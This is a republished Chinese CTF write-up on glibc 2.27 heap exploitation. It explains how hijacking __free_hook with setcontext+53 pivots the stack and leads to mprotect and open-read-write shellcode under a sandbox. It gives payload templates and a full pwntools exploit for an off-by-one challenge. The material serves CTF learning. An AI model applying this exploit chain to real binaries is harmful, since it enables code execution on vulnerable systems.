PWN系列-2.27版本利用setcontext实现orw

news/2025/3/12 19:27:59/文章来源:https://www.cnblogs.com/xiaochange/p/18631411

PWN系列-2.27版本利用setcontext实现orw

知识

开启沙箱之后,我们就只能用orw的方式来得到flag。

这篇博客主要讲通过劫持__free_hook或者__malloc_hook利用setcontext在libc或者heap上执行rop或者shellcode。

在free堆块的时候,rdi会指向堆块,在检测到__free_hook有值的情况下,会跳过去执行,此时的rdi仍然指向堆块地址。我们就可以让__free_hook指向setcontext+53处来劫持程序流。

这里先来看一下setcontext函数。

setcontext函数:

<setcontext>:	    push   rdi
<setcontext+1>:	    lea    rsi,[rdi+0x128]
<setcontext+8>:	    xor    edx,edx
<setcontext+10>:	mov    edi,0x2
<setcontext+15>:	mov    r10d,0x8
<setcontext+21>:	mov    eax,0xe
<setcontext+26>:	syscall 
<setcontext+28>:	pop    rdi
<setcontext+29>:	cmp    rax,0xfffffffffffff001
<setcontext+35>:	jae    0x7f8930e9a0d0 <setcontext+128>
<setcontext+37>:	mov    rcx,QWORD PTR [rdi+0xe0]
<setcontext+44>:	fldenv [rcx]
<setcontext+46>:	ldmxcsr DWORD PTR [rdi+0x1c0]
<setcontext+53>:	mov    rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>:	mov    rbx,QWORD PTR [rdi+0x80]
<setcontext+67>:	mov    rbp,QWORD PTR [rdi+0x78]
<setcontext+71>:	mov    r12,QWORD PTR [rdi+0x48]
<setcontext+75>:	mov    r13,QWORD PTR [rdi+0x50]
<setcontext+79>:	mov    r14,QWORD PTR [rdi+0x58]
<setcontext+83>:	mov    r15,QWORD PTR [rdi+0x60]
<setcontext+87>:	mov    rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>:	push   rcx
<setcontext+95>:	mov    rsi,QWORD PTR [rdi+0x70]
<setcontext+99>:	mov    rdx,QWORD PTR [rdi+0x88]
<setcontext+106>:	mov    rcx,QWORD PTR [rdi+0x98]
<setcontext+113>:	mov    r8,QWORD PTR [rdi+0x28]
<setcontext+117>:	mov    r9,QWORD PTR [rdi+0x30]
<setcontext+121>:	mov    rdi,QWORD PTR [rdi+0x68]
<setcontext+125>:	xor    eax,eax
<setcontext+127>:	ret    
<setcontext+128>:	mov    rcx,QWORD PTR [rip+0x398d91]    
<setcontext+135>:	neg    eax
<setcontext+137>:	mov    DWORD PTR fs:[rcx],eax
<setcontext+140>:	or     rax,0xffffffffffffffff
<setcontext+144>:	ret

setcontext函数我们只需要关心setcontext+53到setcontext+127即可。

这段代码其实就是利用rdi指向的地址+偏移来给各个寄存器赋值,并且控制rip。

通常情况下,我们会利用这段gadgets来实现一次任意写。

通过系统调用syscall(0,0,buf,size)来实现read(0,buf,szie)。

所以我们需要让rax0,rdi0,rsibuf,rdxsize。

payload模板:

payload = p64(0)*13+p64(0)#rdi
payload+= p64(buf)#rsi
payload+= p64(0)*2+p64(0x300)#rdx
payload+= p64(0)*2+p64(buf)+p64(syscall)

rdi、rsi、rdx都比较好理解,xor eax,eax也会使得rax==0了,这里讲一下为什么将rsp也设置成buf,将rcx设置成syscall_ret。

在setcontext+94处有一行汇编push rcx

image-20241225203105998

我们将rsp设置成buf,将rcx设置成syscall_ret,执行完push rcx之后,此时rsp会指向syscall_ret,在代码执行到ret的时候就会跳转到rsp处继续进行系统调用。

此时我们向buf可以直接写orw读取flag,也可以先利用mprotect来将此处赋予可执行权限后写入shellcode来orw。

payload可以这样写:

payload = p64(pop_rdi)+p64(buf)
payload+= p64(pop_rsi)+p64(0x1000)
payload+= p64(pop_rdx)+p64(7)
payload+= p64(pop_rax)+p64(10)
payload+= p64(syscall) #mprotect(buf,0x1000,7)
payload+= p64(jmp_rsp)
payload+= asm(shellcraft.open('./flag'))
payload+= asm(shellcraft.read(3,free_hook+0x300,0x30))
payload+= asm(shellcraft.write(1,free_hook+0x300,0x30))

至于buf,一般是heap,或者libc的bss段。

其它的也没啥了。

例题

2024年第九届楚慧杯-EZheap_2

题目存在off by one漏洞,但是没有show功能,但是可以泄露pie地址。

可以先利用off by one构造堆块重叠,然后将chunk申请到bss段的stdout处,将stdout结构体_IO_write_base的末字节改小来泄露libc地址,payload通常这样写:p64(0xfbad1800) + p64(0)*3 + b'\x00'

然后再利用off by one来将chunk申请到__free_hook写入setcontext+53的地址,构造一个chunk,然后释放掉,这个chunk要布置一下,然后就是上面所讲的利用了。

from pwn import *p = process('./pwn')
#p = remote('xxx.xxx.xxx',xxxx)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux',arch='amd64',log_level='debug')def duan():sleep(0.5)gdb.attach(p)pause()
def pr(a,addr):log.success(a+'-->'+hex(addr))
def add(idx,size):p.sendlineafter(b'Your choice:',str(1))p.sendlineafter(b'index:',str(idx))p.sendlineafter(b'Size:',str(size))
def free(idx):p.sendlineafter(b'Your choice:',str(3))p.sendlineafter(b'index:',str(idx))
def show(idx):p.sendlineafter(b'Your choice:',str(4))  p.sendlineafter(b'choose:',str(idx))
def edit(idx,con):p.sendlineafter(b'Your choice:',str(2))p.sendlineafter(b'index:',str(idx))p.sendafter(b'context:',con)add(0,0x18)  #0
add(1,0x68)  #1
add(2,0x68)  #2
add(3,0x18)  #3
edit(0,b'\x00'*0x18+p8(0xe1))
free(1)
add(4,0xd8)  
show(4)
p.recvuntil(b'\n')
pie=int(p.recv(14),16)-0x202160
pr('pie',pie)free(2)
edit(4,b'\x00'*0x68+p64(0x71)+p64(pie+0x202020))
add(5,0x68)
add(6,0x68)
add(7,0x68)
edit(7,p64(0xfbad1800) + p64(0)*3 + b'\x00')
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-0x3ed8b0
pr('libc_base',libc_base)pop_rdi = libc_base+next(libc.search(asm("pop rdi\nret")))
pop_rsi = libc_base+next(libc.search(asm("pop rsi\nret")))
pop_rdx = libc_base+next(libc.search(asm("pop rdx\nret")))
pop_rax = libc_base+next(libc.search(asm("pop rax\nret")))
syscall=libc_base+next(libc.search(asm("syscall\nret")))
jmp_rsp=libc_base+next(libc.search(asm("jmp rsp")))
free_hook=libc_base+libc.sym['__free_hook']
setcontext_53=libc_base+libc.sym['setcontext']+53
buf = free_hook&0xfffffffffffff000payload = p64(0)*13+p64(0)#rdi
payload+= p64(buf)#rsi
payload+= p64(0)*2+p64(0x300)#rdx
payload+= p64(0)*2+p64(buf)+p64(syscall)add(8,0x18)
add(9,0x58)
add(10,0x58)
add(11,0x18)
edit(8,b'\x00'*0x18+p8(0xc1))
free(9)
add(12,0xb8)
free(10)
edit(12,b'\x00'*0x58+p64(0x61)+p64(free_hook)) 
add(13,0x58)
add(14,0x58)
edit(14,p64(setcontext_53))
add(15,0x400)
edit(15,payload)
free(15)payload  = p64(pop_rdi)+p64(buf)
payload += p64(pop_rsi)+p64(0x1000)
payload += p64(pop_rdx)+p64(7)
payload += p64(pop_rax)+p64(10)
payload += p64(syscall) #mprotect(free_hook&0xfffffffffffff000,0x1000,7)
payload += p64(jmp_rsp)
payload += asm(shellcraft.open('./flag'))
payload += asm(shellcraft.read(3,free_hook+0x300,0x30))
payload += asm(shellcraft.write(1,free_hook+0x300,0x30))
p.sendline(payload)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/858837.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

shell语法保姆级教程

Shell脚本 建立一个sh脚本 touch 1.sh (新建脚本文件)vi 1.sh(编写文件内容)按 i 可以写入内容,按esc :wq退出并保存解释 1、创建脚本文件 2、脚本文件中第一行为指定脚本编译器:# !/bin/bash 最终调用的都是dash执行shell脚本命令: 1、./1.sh难道我们必须要修改权限才能执…

从0开始学uniapp——认识HBuilderX

为什么使用uniapp:可以多端运行,写好了这一套可以用在h5,安卓程序,小程序多端,很方便。1.百度搜HBuilderX,使用该编译器学习uniapp 2.新建一个默认项目 pages——用于存放页面,这里都是.vue后缀的页面, pages.json——用于存放路由pages数组里按例子添加即可,HBuilder…

Java中SPI机制原理解析

本文介绍了Java中SPI机制实现的大概原理以及SPI机制在常见的框架如JDBC的Driver加载,SLF4J日志门面实现中的使用。使用SPI机制前后的代码变化加载MySQL对JDBC的Driver接口实现 在未使用SPI机制之前,使用JDBC操作数据库的时候,一般会写如下的代码:// 通过这行代码手动加载My…

Transformers 框架 Pipeline 任务详解(六):填充蒙版(fill-mask)

本文介绍了Hugging Face Transformers框架中的fill-mask任务,涵盖其作用、应用场景如机器翻译和文本补全,以及配置方法。通过Python代码示例展示了如何使用预训练模型自动下载或本地加载来创建Pipeline并执行填空任务。此外,还提供了利用Gradio构建WebUI界面的指南,使用户能…

阿里发布多模态推理模型 QVQ-72B,视觉、语言能力双提升;OpenAI 正在研发人形机器人丨 RTE 开发者日报

开发者朋友们大家好:这里是 「RTE 开发者日报」 ,每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE(Real-Time Engagement) 领域内「有话题的 新闻 」、「有态度的 观点 」、「有意思的 数据 」、「有思考的 文章 」、「有看点的 会议 」,但内容仅代表编辑…

python多进程,通过内存共享来通信,使用进程锁来防止数据问题

代码:import multiprocessing import time 使用锁和multiprocessing.Value,multiprocessing.Array,multiprocessing.Manager().listdef worker1(shared_number1, lock):for _ in range(10):with lock:shared_number1.value += 1def worker2(shared_array1, lock):for i in…

Jenkins入门使用

Jenkins入门使用 1先安装jdk才能运行jenkins yum install -y java-1.8.0-openjdk.x86_642 安装jenkins,运行,进行端口绑定,启动jenkins docker search jenkins docker pull jenkins/jenkins docker run -d -u root -p 8080:8080 -p 50000:50000 -v /var/jenkins_home:/var/j…

Java 泛型详细解析

本文将带你详细解析 Java 泛型,了解泛型的原理、常见的使用方法以及泛型的局限性,让你对泛型有更深入的了解。泛型的定义 泛型类的定义 下面定义了一个泛型类 Pair,它有一个泛型参数 T。 public class Pair<T> {private T start;private T end; }实际使用的时候就可以…

javafx-请求篇

OkHttpClient 基本使用步骤如下构建客户端对象OkHttpClient 构建请求Request 生成Call对象 Call发起请求(同步/异步)import java.io.IOException; import okhttp3.Call; import okhttp3.MediaType; import okhttp3.OkHttpClient; import okhttp3.Request; import okhttp3.Req…

javafx-一个小demo

懒得讲了,直接看代码吧 pox.xml<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://m…

一个小demo

懒得讲了,直接看代码吧 pox.xml<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://m…

一个 Bug JDK 居然改了十年?

你敢相信么一个简单的Bug,JDK 居然花了十年时间才修改完成。赶快来看看到底是个什么样的 Bug?问题现象 今天偶然看到了一个 JDK 的 Bug,给大家分享一下。 假设现在有如下的代码: List<String> list = new ArrayList<>(); list.add("1"); Object[] ar…